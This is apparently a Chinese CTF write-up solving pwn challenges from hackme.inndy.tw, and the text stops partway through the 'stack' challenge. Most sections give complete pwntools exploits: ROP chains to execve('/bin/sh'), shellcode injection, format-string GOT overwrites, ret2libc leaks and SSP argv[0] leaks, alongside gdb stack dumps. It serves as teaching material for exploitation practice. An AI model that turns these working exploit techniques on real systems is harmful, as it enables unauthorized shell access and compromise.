hackme.inndy之pwn

catflag

nc 连接直接get shell

homeosrk

数组下标溢出,绕过canary保护直接修改ret地址为后门函数call_me_mabe

这里可以算出arr[14]为ret位置

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# p = process('./homework')
p = remote('hackme.inndy.tw',7701)
call_me = 0x80485FB
print str(call_me)
pause()
p.recvuntil('What\'s your name? ')
p.sendline('n0va')
p.recvuntil('4 > dump all numbers\n')
p.recvuntil(' > ')
p.sendline('1')
p.recvuntil('Index to edit: ')
p.sendline('14')
p.recvuntil('How many? ')
p.sendline(str(call_me))
p.sendline('0')
p.interactive()

ROP

栈溢出,而且是gets的栈溢出,溢出空间无限,可以随便写,这道题有很多种写法,这里选择system call

execve的系统调用号为0xb,eax,放着系统调用号,ebx,ecx,edx分别放着execve的三个参数,先找一波gadget

1
2
3
4
5
0x0806c943 : int 0x80
0x080b8016 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret

于是就可以构造ROP链进入系统 调用了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#-*-coding:utf-8-*-
from pwn import *
p = process('./rop')
p = remote("hackme.inndy.tw","7704")
elf = ELF('./rop')
bss_addr = elf.bss()
pop_in_ecx = 0x0804b5ba

pop_eax = 0x080b8016
pop_ebx = 0x080481c9
pop_ecx = 0x080de769
pop_edx = 0x0806ecda
int_0x80 = 0x0806c943
payload = 16*'a'
payload += p32(pop_ecx) + p32(bss_addr)
#分两次将'/bin/sh'写入bss段
payload += p32(pop_in_ecx) + '/bin'
payload += p32(pop_ecx) + p32(bss_addr+4)
payload += p32(pop_in_ecx) + '/sh\x00'
payload += p32(pop_eax) + p32(0xb)
#bss_addr放着'/bin/sh'做为execve的第一个参数
payload += p32(pop_ebx) + p32(bss_addr)
payload += p32(pop_ecx) + p32(0)
payload += p32(pop_edx) + p32(0)
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()

ROP2

syscall()是系统调用函数,第一个参数是系统调用号,后面的函数分别为调用函数的参数,查表可知4为write函数的系统调用号,3为read函数的系统调用号,所以

1
2
3
syscall(4, 1, v4, 42);   ==   write(1,v4,42)
syscall(3, 0, &v1, 1024); == read(0,&v1,1024)
return syscall(4, 1, &v1, 1024); == return write(1,&v1,1024)

read 这里就存在一个很明显的栈溢出了,我们可以控制程序回到syscall的位置,只要将他的4个参数分别设为(b,'/bin/sh',0,0)就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
# p = process('./rop2')
p = remote("hackme.inndy.tw","7703")
elf = ELF('./rop2')
bss_addr = elf.bss()
syscall = 0x8048320
overflow = 0x8048454
#先调用read往bss段写入'/bin/sh'
payload = 16*'a'
payload += p32(syscall) + p32(overflow)
payload += p32(3) + p32(0) + p32(bss_addr) + p32(8)
p.sendline(payload)
p.send('/bin/sh\x00')
#调用execve函数get shell
payload = 16*'a'
payload += p32(syscall) + p32(0) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
p.sendline(payload)
p.interactive()

toooomuch

可以看到有一个gets,而且还有一个print_flag函数直接打印flag,溢出跳转就完事了

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
# context.log_level = 'debug'
# p = process('./toooomuch')
p = remote("hackme.inndy.tw","7702")
print_flag = 0x804863B
payload = 28*'a'
payload += p32(print_flag)
p.sendline(payload)
p.interactive()

toooomuch-2

程序 跟toooomuch一模一样,但是这次要求get shell ,那就不能直接跳到print_flag函数上去了

因为什么保护都没开,所以可以直接ret2shellcode,思路是这样的,先跳到gets函数往bss段写入shellcode,再跳到bss执行shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
# p = process('./toooomuch-2')
p = remote("hackme.inndy.tw","7702")
elf = ELF('./toooomuch-2')
bss_addr = elf.bss()
gets_addr = elf.plt['gets']
shellcode = asm(shellcraft.sh())
payload = 28*'a'
#----------(覆盖返回地址) ---(gets的返回地址)--(gets的参数)
payload += p32(gets_addr) + p32(bss_addr) + p32(bss_addr)
p.recvuntil('Give me your passcode: ')
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

echo

这是一道格式化字符串,直接修改printf_got为system_plt的值就行了,都是已知值,手动修改(当然也可以用工具 : fmtstr_payload(7,{printf_got:system_plt}))

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#-*-coding:utf-8-*-
# 偏移为7
from pwn import *
# p = process('./echo')
p = remote("hackme.inndy.tw","7711")
elf = ELF('./echo')
printf_got = elf.got['printf']
system_plt = elf.plt['system']
print "printf_got-->" + hex(printf_got)
print "system_plt-->" + hex(system_plt) #0x8048400
pause()
payload = p32(printf_got) + p32(printf_got+1) + p32(printf_got+2) + p32(printf_got+3)
'''
\x00
\x84
\x04
\x08
'''
payload += '%240c' + '%7$hhn' #0x100-16
payload += '%132c' + '%8$hhn' #0x184-0x100
payload += '%128c' + '%9$hhn' #0x204-0x184
payload += '%4c' + '%10$hhn' #0x208-0x204
print payload
pause()
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

echo2

64位的格式化字符串漏洞,漏点跟echo一样,不过有一些坑需要注意一下

  1. 首先是保护开启了PIE,位置无关的可执行程序,即可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可以运行进程。但是低两位字节是固定的,所以可以通过这个泄露出程序的基地址。
  2. 64位程序函数地址存在'\x00'截断,所以要将函数地址放在最后(不能用fmtstr_payload这个工具,它只适用于32位)

printf处下断查看栈可以看到main+74libc_start_main+340这两个可以泄漏的地址,偏移分别为41和43,因为开启了PIE,而且后三位不变,所以可以泄漏出程序基地址就是0x555555554a03-0xa03,之后对一切地址的操作都加上这个基地址就是正确的地址了,以及libc_start_main的真实地址0x7ffff7a2d830-240就可以算出偏移,从而得到其它函数的真空地址,比如system,不过这道题我用的是one_gadget一把梭

得到了真实地址和偏移就可以进行写入操作了,修改exit_got表为one_gadget_addr

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
p = remote("hackme.inndy.tw","7712")
# p = process('./echo2')
elf = ELF('./echo2')
libc = ELF("./libc-2.23.so.x86_64") #hackme网站下载
# libc = elf.libc #本地libc
#泄漏 main 地址
p.sendline('%41$p')
elf_base = int(p.recv(),16)-0xa03
print "elf_base-->" + hex(elf_base)
#泄漏 libc_start_main 地址
p.sendline('%43$p')
libc_start_main = int(p.recv(),16)-240
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print "libc_start_main-->" + hex(libc_start_main)
# one_gadget = 0xf02a4 + libc_base #本地one_gadget
one_gadget = 0xf0897+libc_base #远程one_gadget
print "one_gadget-->" + hex(one_gadget)
exit_got = elf.got['exit'] + elf_base
print "exit_got-->" + hex(exit_got)
hex_one_gadget = hex(one_gadget)
payload1 = 4*'a'+'%'+str(int(hex_one_gadget[-4:],16)-4)+'c%8$hn'+p64(exit_got)
# payload1 = '%'+str(int(hex_one_gadget[-4:],16))+'c%10$hn'+p64(exit_got)
payload2 = 4*'a'+'%'+str(int(hex_one_gadget[-8:-4],16)-4)+'c%8$hn'+p64(exit_got+2)
payload3 = 4*'a'+'%'+str(int(hex_one_gadget[-12:-8],16)-4)+'c%8$hn'+p64(exit_got+4)
#下断
# point = 0x984+elf_base
# point = str(hex(point))
# gdb.attach(p,"b *"+point)
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
sleep(1)
p.sendline(payload3)
sleep(1)
p.interactive()

这里解释一下4*’a':是为了最后的p64(exit_got)对齐,gdb下断看一个栈的分布就清楚了

ehco3

还是格式化字符串,不过我们的输入不再是在栈中了,是保存在bss段,这就不好操作了,我们需要在栈中找到指向栈的指针来进行操作向栈写入内容(建议先做一下jarvis OJ的lab 9然后再回头来看这题,因为题型差不多,但是lab 9没有下面的蛇皮操作)

不过这题最坑的还是在hardfmt函数前的这个玩意v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));看了大佬的 writeup 这是一个抬栈操作,我们回到汇编去可以看到,在最后esp会减去eax使得整个栈帧往栈顶移了eax,而且eax是个随机数,好在还是有范围的。

测试一下我们可以发现大概的范围:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import random
for x in xrange(1,50):
buf= random.randint(0,0xffffffff)
a=16 * (((buf & 0x3039) + 30) / 0x10)
print hex(a)
----------------------------------------------------------------------------------------------
0x40
0x10
0x1030
0x20
0x3020
0x30
0x3030
0x3010
0x3020
0x1010
0x1010
0x2020
0x2020
0x20
0x3020
0x30
0x30
0x2040
0x3050
0x3050
0x2030
0x40
0x3030
0x3030
0x40
0x2020
0x3040
0x1030
0x3050
0x1040
0x40
0x3030
0x2030
0x20
0x3020
0x1040
0x3010
0x3030
0x40
0x2050
0x50
0x1020
0x3020
0x3030
0x40
0x3020
0x3040
0x3040
0x3020

可能的数值有0x10,0x20,0x30,0x40,0x1030,........等等等等,也就是说一个值对应一个栈帧,所以我们只需要确定eax的值就可以确定栈的分布了,在.text:08048774 sub esp, eax下断gdb调试一下:

这一次eax 的值 为0x2050,我把它设为0x20,进去,在printf 下个断点,c一下,就可以看到正确的栈帧了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Breakpoint *0x08048646
pwndbg> stack 50
00:0000│ esp 0xffffcd00 —▸ 0x804a080 (buff) ◂— 'AAAAAAAA\n'
... ↓
02:0008│ 0xffffcd08 ◂— 0x1000
03:000c│ 0xffffcd0c ◂— 0x1
04:0010│ 0xffffcd10 ◂— 0xbd5d2046
05:0014│ 0xffffcd14 —▸ 0x804829c ◂— add byte ptr [ecx + ebp*2 + 0x62], ch
06:0018│ 0xffffcd18 —▸ 0xf7ffd918 ◂— 0x0
07:001c│ 0xffffcd1c ◂— 0x0
08:0020│ 0xffffcd20 —▸ 0xffffcd5e ◂— 0x30804
09:0024│ 0xffffcd24 —▸ 0xf7e0b018 ◂— stosd dword ptr es:[edi], eax
0a:0028│ 0xffffcd28 —▸ 0xf7e6021b (setbuffer+11) ◂— add ebx, 0x151de5
0b:002c│ 0xffffcd2c —▸ 0x80485d2 (hardfmt+12) ◂— add ebx, 0x1a2e
0c:0030│ 0xffffcd30 —▸ 0xf7fe77eb (_dl_fixup+11) ◂— add esi, 0x15815
0d:0034│ 0xffffcd34 ◂— 0x0
0e:0038│ 0xffffcd38 —▸ 0xffffcd10 ◂— 0xbd5d2046
0f:003c│ 0xffffcd3c ◂— 0xc7e69f00
10:0040│ 0xffffcd40 —▸ 0xffffcda8 ◂— 0x0
11:0044│ 0xffffcd44 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
12:0048│ ebp 0xffffcd48 —▸ 0xffffcda8 ◂— 0x0
13:004c│ 0xffffcd4c —▸ 0x804877b (main+236) ◂— mov eax, 0
14:0050│ 0xffffcd50 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
15:0054│ 0xffffcd54 —▸ 0x804a060 (magic) ◂— 0xbd5d2046
16:0058│ 0xffffcd58 —▸ 0xf7ed62ac (__close_nocancel+18) ◂— mov ebx, edx
17:005c│ 0xffffcd5c —▸ 0x804874a (main+187) ◂— add esp, 0x10
18:0060│ 0xffffcd60 ◂— 0x3
19:0064│ 0xffffcd64 —▸ 0x804a060 (magic) ◂— 0xbd5d2046
1a:0068│ 0xffffcd68 ◂— 0x4
1b:006c│ 0xffffcd6c —▸ 0x80486a6 (main+23) ◂— add ebx, 0x195a
1c:0070│ 0xffffcd70 ◂— 0x8000
1d:0074│ 0xffffcd74 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1e:0078│ 0xffffcd78 —▸ 0xffffce5c —▸ 0xffffd094 ◂— 'LC_PAPER=zh_CN.UTF-8'
1f:007c│ 0xffffcd7c —▸ 0xffffce54 —▸ 0xffffd05e ◂— 0x6d6f682f ('/hom')
20:0080│ 0xffffcd80 ◂— 0x1
... ↓
22:0088│ 0xffffcd88 —▸ 0xffffce5c —▸ 0xffffd094 ◂— 'LC_PAPER=zh_CN.UTF-8'
23:008c│ 0xffffcd8c ◂— 0x3
24:0090│ 0xffffcd90 ◂— 0x25d8324
25:0094│ 0xffffcd94 ◂— 0xdddfa71b
26:0098│ 0xffffcd98 —▸ 0xffffce5c —▸ 0xffffd094 ◂— 'LC_PAPER=zh_CN.UTF-8'
27:009c│ 0xffffcd9c ◂— 0xc7e69f00
28:00a0│ 0xffffcda0 —▸ 0xffffcdc0 ◂— 0x1
29:00a4│ 0xffffcda4 ◂— 0x0
... ↓
2b:00ac│ 0xffffcdac —▸ 0xf7e18637 (__libc_start_main+247) ◂— add esp, 0x10
2c:00b0│ 0xffffcdb0 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
2e:00b8│ 0xffffcdb8 ◂— 0x0
2f:00bc│ 0xffffcdbc —▸ 0xf7e18637 (__libc_start_main+247) ◂— add esp, 0x10
30:00c0│ 0xffffcdc0 ◂— 0x1
31:00c4│ 0xffffcdc4 —▸ 0xffffce54 —▸ 0xffffd05e ◂— 0x6d6f682f ('/hom')

这里就以0x20的栈帧进行分析了,可以发现几个有用的地址

1
2
3
4
5
6
7
14:0050│      0xffffcd50 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
15:0054│ 0xffffcd54 —▸ 0x804a060 (magic) ◂— 0xbd5d2046
...
1e:0078│ 0xffffcd78 —▸ 0xffffce5c —▸ 0xffffd094 ◂— 'LC_PAPER=zh_CN.UTF-8'
1f:007c│ 0xffffcd7c —▸ 0xffffce54 —▸ 0xffffd05e ◂— 0x6d6f682f ('/hom')
...
2b:00ac│ 0xffffcdac —▸ 0xf7e18637 (__libc_start_main+247) ◂— add esp, 0x10

偏移分别 为20,21,30,31,43,(这里规定它们分别为fmt20,fmt21,ebp1,ebp2) 而且偏移43处放着的是libc_start_main+247的地址,它的偏移是不变的,所以就可以用来做爆破的标志,来找到我们要的栈帧(exa = 0x20的栈帧)

1
2
3
4
5
6
7
8
9
while True:
# p = process('./echo3')
p = remote("hackme.inndy.tw","7720")
payload = '%43$p#%30$p'
p.sendline(payload)
data = p.recvuntil('#')
if data[-4:-1] == '637':
break
p.close()

爆破完成之后就可以进行正常的操作了思路如下 :

  1. 通过libc_start_main算出偏移,进而得到system的真实地址
  2. %n操作 30,10偏移处使ebp1指向fmt20,ebp2指向fmt21
  3. %n操作 ebp1使fmt20的内容修改为exit_got 操作 ebp2 使fmt21的内容修改为exit_got+2
  4. %n操作 fmt20 修改exit_gotsystem低4位,操作 fmt21 修改exit_got+2system高4位
  5. 发送'/bin/sh'作为system函数的参数

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
elf = ELF('./echo3')
# libc = elf.libc
libc = ELF('./libc-2.23.so.i386')
while True:
# p = process('./echo3')
p = remote("hackme.inndy.tw","7720")
payload = '%43$p#%30$p'
p.sendline(payload)
data = p.recvuntil('#')
if data[-4:-1] == '637':
break
p.close()

libc_start_main = int(data[:-1],16)-247
ebp1 = int(p.recv()[:-1],16) #在偏移为 31 (ebp1的偏移为87)
print 'libc_start_main-->' + hex(libc_start_main)
print 'ebp1-->' + hex(ebp1)
fmt20 = ebp1-0x10c
fmt21 = ebp1-0x108
offset = libc_start_main - libc.symbols['__libc_start_main']
system_addr = offset + libc.symbols['system']
print 'system_addr-->' + hex(system_addr)
print 'libc_system-->' + hex(libc.symbols['system'])
pause()
# exit_got = elf.got['exit']
# print 'exit_got-->' + hex(exit_got)
printf_got = elf.got['printf']
print 'printf_got-->' + hex(printf_got)
#%n操作 30,31偏移处使ebp1指向 fmt20 ebp2指向 fmt21
payload_1 = '%'+str(fmt20&0xffff)+'c%30$hn'
payload_1 += '%4c%31$hn'
payload_1 += '1111'
# gdb.attach(p,"b *0x08048646")
# pause()
p.sendline(payload_1)
#%n操作 ebp1使fmt20内容修改为exit_got,操作 ebp2使fmt21内容修改为exit_got+2
payload_2 = '%'+str(printf_got&0xffff)+'c%85$hn'
payload_2 += '%2c%87$hn'
payload_2 += '2222'
# gdb.attach(p,"b *0x08048646")
# pause()
p.recvuntil('1111\n')
p.sendline(payload_2)

#%n操作 fmt20修改exit_got为system低4位 fmt21修改为exit_got+2为system高4位
payload_3 = '%'+str((system_addr>>16)&0xff)+'c%20$hhn'
payload_3 += '%'+str((system_addr&0xffff)-((system_addr>>16)&0xff))+'c%21$hn'
payload_3 += '3333'
# gdb.attach(p,"b *0x08048646")
# pause()
p.recvuntil('2222\n')
p.sendline(payload_3)
p.recv()

p.recvuntil('3333\n')
p.send('/bin/sh\x00')
p.interactive()

smash-the-stack

这题是利用ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:Stack smash

只要将argv[0]覆盖为存放flag的地址即可,在write处下断查看argvp[0]的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> stack 20
00:0000│ esp 0xffffcd70 ◂— 0x1
01:0004│ 0xffffcd74 —▸ 0xffffcd88 ◂— 0x31313131 ('1111')
02:0008│ 0xffffcd78 ◂— '1111'
03:000c│ 0xffffcd7c ◂— 0x0
04:0010│ 0xffffcd80 ◂— 0x1
05:0014│ 0xffffcd84 —▸ 0xffffce44 —▸ 0xffffd046 ◂— 0x6d6f682f ('/hom')
06:0018│ ebx ecx 0xffffcd88 ◂— 0x31313131 ('1111')
07:001c│ 0xffffcd8c ◂— 0xc7f80a32
08:0020│ 0xffffcd90 —▸ 0xffffcdb0 ◂— 0x1
09:0024│ 0xffffcd94 ◂— 0x0
... ↓
0b:002c│ 0xffffcd9c —▸ 0xf7e18637 (__libc_start_main+247) ◂— add esp, 0x10
0c:0030│ 0xffffcda0 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
0e:0038│ 0xffffcda8 ◂— 0x0
0f:003c│ 0xffffcdac —▸ 0xf7e18637 (__libc_start_main+247) ◂— add esp, 0x10
10:0040│ 0xffffcdb0 ◂— 0x1
11:0044│ 0xffffcdb4 —▸ 0xffffce44 —▸ 0xffffd046 ◂— 0x6d6f682f ('/hom')
12:0048│ 0xffffcdb8 —▸ 0xffffce4c —▸ 0xffffd084 ◂— 'LC_PAPER=zh_CN.UTF-8'
13:004c│ 0xffffcdbc ◂— 0x0
pwndbg> distance 0xffffce44 0xffffcd88
0xffffce44->0xffffcd88 is -0xbc bytes (-0x2f words)

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
# p = process('./smash')
p = remote('hackme.inndy.tw',7717)
flag_addr = 0x804A060
p.recvuntil('the flag')
p.sendline(47*'a'+p32(flag_addr))
# p.sendline(48*p32(flag_addr))
p.interactive()

还有另一种做法就是不用算偏移,直接塞一大把p32(flag_addr)进去,因为只要覆盖到argv[0]的位置就可以了,但是实践表明,如果这个数差偏移太多的话,也是不太行的。(比如上面的塞100个在本地还是可以的,但是远程的话63个以上就已经不正常了,我猜是覆盖到了___stack_chk_fail函数部分导致函数无法正常执行,也就不存在通过___stack_chk_fail函数打印出flag了)

onepunch

这道题还是挺有趣的,起初看反编译代码不是很理解 v6 跟v4的关系,但是在汇编中就很直观了,v6是地址,v4是写入的内容,也就是任意地址写

还有就是这个程序的text段居然是可写的,结合上面的任意地址写就意味着我们可以修改程序的逻辑实现各种操作,相当于打patch

再看一下main函数:这里对输入的v4进行判断,如果不等于255就跳到400773处,所以我们只需要在这里打patch使其跳到main函数就可以实现无限输入。

1
2
3
4
5
6
7
.text:0000000000400756                 mov     rax, [rbp+v6]
.text:000000000040075A mov edx, [rbp+v4]
.text:000000000040075D mov [rax], dl
.text:000000000040075F ; 14: if ( v4 == 255 )
.text:000000000040075F mov eax, [rbp+v4]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773

这里就需要修改16进制了,IDA->optionsNumber of opcode bytes(non-graph)的值设为16就可以看到汇编对应的16进制数。接下来算偏移,要从0x400769跳跟0x4006f1偏移应该为0x88 = 136,所以第一步就是将0x400768处的0xA修改为0x88

1
2
3
4
5
6
p.recvuntil('Where What?')
# gdb.attach(p,"b *0x400741")
# pause()
p.sendline('0x400768')
# sleep(0.1)
p.sendline('138')

接下来往text段写入shellcode,写完后再修改0x400768处为shellcode地址即可

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#-*-coding:utf-8-*-
from pwn import *
# p = process('./onepunch')
p = remote("hackme.inndy.tw","7718")
context.log_level = 'debug'
p.recvuntil('Where What?')
# gdb.attach(p,"b *0x400741")
# pause()
p.sendline('0x400768')
# sleep(0.1)
p.sendline('138')
shell_addr = 0x400790
# shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shell_len = len(shellcode)
i = 0
while i<shell_len:
p.recvuntil('Where What?')
p.sendline(str(hex(shell_addr+i)))
# sleep(0.1)
p.sendline(str(ord(shellcode[i])))
i += 1
p.recvuntil('Where What?')
p.sendline('0x400768')
# sleep(0.1)
p.sendline('39')
p.interactive()

tictactoe-1

每次可以写入一个字节,所以就很容易可以想到,把puts的got表修改成0x08048C46(cat flag的位置),就可以拿到flag_simple了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
# p = process('./tictactoe')
p = remote("hackme.inndy.tw","7714")
puts_got = 0x804B024
# -50
distance_addr = 0x8048C46
p.recvuntil('Play (1)st or (2)nd? ')
p.sendline('1')
p.recvuntil('Input move (9 to change flavor): ')
p.sendline('9')
sleep(0.1)
p.sendline('\x46')
p.recvuntil('Input move (9 to change flavor): ')
p.sendline('-50')

p.recvuntil('Input move (9 to change flavor): ')
p.sendline('9')
sleep(0.1)
p.sendline('\x8c')
p.recvuntil('Input move (9 to change flavor): ')
# gdb.attach(p,"b *0x08048A71")
# pause()
p.sendline('-49')

p.recvuntil('Input move (9 to change flavor): ')
p.sendline('9')
sleep(0.1)
p.sendline('\x04')
p.recvuntil('Input move (9 to change flavor): ')
p.sendline('-48')
p.interactive()

rsbo-2

栈溢出漏洞,程序中又有write函数,所以其实很清晰了,利用write函数泄漏出read的真实地址进而得到system的真实地址再跳转到去就可以get shell 了,但是这里有一个坑需要说一下,就是垃圾字符要用\x00去填充而不是用’a’啊啥的这些

因为len(buf)在栈中的位置跟buf的重叠的,所以当我们有字母去填充时,会导致 v8的值出错,这样程序就会崩溃退出

\x00填的时候才会正常,接下来的操作不用多说了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#-*-coding:utf-8-*-
# get shell 脚本
from pwn import *
# p = process('./rsbo')
p = remote("hackme.inndy.tw","7706")
elf = ELF('./rsbo')
# libc = elf.libc
libc = ELF('./libc-2.23.so.i386')
context.log_level = 'debug'
main = 0x804867F
read_plt = elf.plt['read']
read_got = elf.got['read']
open_plt = elf.plt['open']
write_plt = elf.plt['write']
bss = elf.bss()
# write(1,read_got,4)
payload_2 = p32(0)*27 + p32(write_plt) + p32(main) + p32(1) + p32(read_got) + p32(4)
print hex(len(payload_2))
# gdb.attach(p,"b *0x0804867d")
# pause()
p.send(payload_2)
read_addr = u32(p.recv(4))
print "read_addr --> " + hex(read_addr)
offset = read_addr - libc.symbols['read']
system_addr = offset + libc.symbols['system']
bin_libc = libc.search("/bin/sh").next()
bin_addr = bin_libc + offset

print "system_addr --> " + hex(system_addr)
print "bin_addr --> " + hex(bin_addr)
# pause()
# 回到 main
payload_3 = p32(0)*25 + p32(system_addr) + p32(0) + p32(bin_addr)
# gdb.attach(p,"b *0x0804867d")
# pause()
p.send(payload_3)
p.interactive()

rsbo1

其实我是用的rsbo2的脚本直接拿到两题的flag再回过头来用open的方法做rsbo1,因为我一直在纳闷open返回的指针怎么获取给read用,但是后来问了师兄才知道了read的第一个参数的妙处:

关于read的第一个参数read(fd,buf,size) 为0时表示标准输入流(键盘),为1时表示标准输出流(屏幕)(1一般是用在write吧),为2时表示错误信息输出,为3之后表示文件流依次表示第一个open的文件第二个,第三个…….(如果同时打开多个文件的话)

所以open(“/home/ctf/flag”)后可以直接调用read(3,bss,0x60)再write就可以把flag打印出来的

还有个坑,在open这里虽然它只需要一个参数,但是它并不只有一个参数,我们要保证它的其实参数为0才能正常调用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#-*-coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./rsbo')
# p = remote("hackme.inndy.tw","7706")
elf = ELF('./rsbo')
open_plt = elf.plt['open']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
main = 0x804867F
start = 0x08048490
flag_addr = 0x80487D0
bss = elf.bss()
# fd = open("/home/ctf/flag")
# read(fd,buf,0x10)
# write(1,buf,0x10)

#open("/home/ctf/flag")
payload_1 = p32(0)*27 + p32(open_plt) + p32(start) + p32(flag_addr) + p32(0)
gdb.attach(p,"b *0x804867D")
pause()
p.send(payload_1)
#read(fd,buf,0x10)
payload_2 = p32(0)*27 + p32(read_plt) + p32(start)
payload_2 += p32(0x3) + p32(bss) + p32(0x60)
# gdb.attach(p,"b *0x804867D")
# pause()
p.send(payload_2)
#write(1,buf,0x10)
payload_3 = p32(0)*27 + p32(write_plt) + p32(0)
payload_3 += p32(1) + p32(bss) + p32(0x60)
# gdb.attach(p,"b *0x804867D")
# pause()
p.send(payload_3)
p.interactive()

stack

这题还是挺有意思的,程序主要做的事就是模拟一个栈的push,pop操作,并将自己模拟的栈放在函数栈帧中,

上图为栈的分布,我们可以看到,自己构造的esp也同样放在栈中,那么我们就可以通过pop,push操作控制esp的位置实现任意地址读,写,思路如下 :

  1. 将esp指向esp所以在位置的上方,push写入改变esp指向libc_start_main+247的位置
  2. pop出libc_start_main+247的值,利用偏移算出system"/bin/sh"的真实地址
  3. 继续控制esp指向main的ret地址位置,修改为system的地址,以及参数"/bin/sh"
  4. x 退出即可get shell

好了,接下来详细讲一下过程以及上图是怎么来的

这是IDA反编译出来的东西,我看着是看不出什么有用的信息的,建议看汇编,如果单纯汇编很难看懂的话,可以跟着gdb一步步调试来理解,那我们看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.text:000006F0                 public stack_push
.text:000006F0 stack_push proc near ; CODE XREF: main+DC↓p
.text:000006F0
.text:000006F0 arg_0 = dword ptr 8
.text:000006F0 arg_4 = dword ptr 0Ch
.text:000006F0
.text:000006F0 ; __unwind {
.text:000006F0 push ebp
.text:000006F1 mov ebp, esp
.text:000006F3 ; 4: result = *a1;
.text:000006F3 call __x86_get_pc_thunk_ax
.text:000006F8 add eax, 18C8h
.text:000006FD mov eax, [ebp+arg_0]
.text:00000700 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000702 ; 5: *a1 += (int)&(&GLOBAL_OFFSET_TABLE_)[-254] + 1;
.text:00000702 lea ecx, (_GLOBAL_OFFSET_TABLE_+1 - 1FC0h)[eax]
.text:00000705 mov edx, [ebp+arg_0]
.text:00000708 mov [edx], ecx
.text:0000070A ; 6: a1[result + 1] = a2;
.text:0000070A mov edx, [ebp+arg_0]
.text:0000070D mov ecx, [ebp+arg_4]
.text:00000710 mov [edx+eax*4+4], ecx
.text:00000714 ; 7: return result;
.text:00000714 nop
.text:00000715 pop ebp
.text:00000716 retn
----------------------------------------------------------------------------------------------
.text:00000717 public stack_pop
.text:00000717 stack_pop proc near ; CODE XREF: main+10C↓p
.text:00000717
.text:00000717 arg_0 = dword ptr 8
.text:00000717
.text:00000717 ; __unwind {
.text:00000717 push ebp
.text:00000718 mov ebp, esp
.text:0000071A call __x86_get_pc_thunk_ax
.text:0000071F add eax, 18A1h
.text:00000724 mov eax, [ebp+arg_0]
.text:00000727 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000729 lea edx, (unk_1FBF - 1FC0h)[eax]
.text:0000072C mov eax, [ebp+arg_0]
.text:0000072F mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
